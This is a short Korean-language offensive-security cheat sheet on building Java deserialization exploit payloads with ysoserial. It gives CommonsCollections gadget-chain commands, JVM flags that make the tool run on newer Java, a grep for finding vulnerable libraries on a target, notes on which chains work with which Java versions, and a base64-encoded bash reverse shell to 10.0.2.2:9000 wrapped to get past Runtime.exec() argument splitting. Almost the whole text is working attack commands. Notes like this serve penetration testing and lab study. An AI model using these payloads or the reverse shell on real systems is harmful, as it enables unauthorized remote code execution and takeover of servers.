ysoserial을 활용한 페이로드 생성
ysoserial 리포: https://github.com/frohoff/ysoserial
기본 페이로드:
java -jar ysoserial.jar [GadgetChain] [Command] > payload.ser
# ↑ ↑
# 어떤 라이브러리 실행할 명령어
# 체인을 쓸건지
java -jar ysoserial-all.jar CommonsCollections6 'ping -c 1 10.10.10.10' > payload.serkali의 자바 버전과 호환되지 않을때 다음 옵션을 -jar ysoserial 이전에 추가:
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED예시:
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections4 'ping 10.10.10.10 -c 1' > payload.ser주의사항:
- 가젯체인은 서버 클래스패스에 존재하는 라이브러리를 사용해야함. 그렇지 않으면
ClassNotFoundException발생.pom.xml또는WEB-INF/lib에서 commons-collections 버전 확인
grep -rnE "commons-*" . 2>/dev/null
./pom-bak.xml:47: <artifactId>commons-collections4</artifactId>- 서버의 Java 버전에 따라 페이로드가 불가할 수 있다.
Java 8 이하 → 전체 체인 가능
Java 9~11 → CC1, CC3 거의 불가, CC6 우선
Java 17+ → CC6, CC2, CC4 위주- 커맨드를 생성할 때 Java의
Runtime.getRuntime().exec()가 커맨드를 split하므로 다음과 같이 작성해야 할 수 있다. 참고 : https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
$ echo -n 'bash -c "bash -i >& /dev/tcp/10.0.2.2/9000 0>&1"'|base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMi85MDAwIDA+JjEi
java -jar ysoserial.jar ... 'bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMi85MDAwIDA+JjEi}|{base64,-d}|{bash,-i}'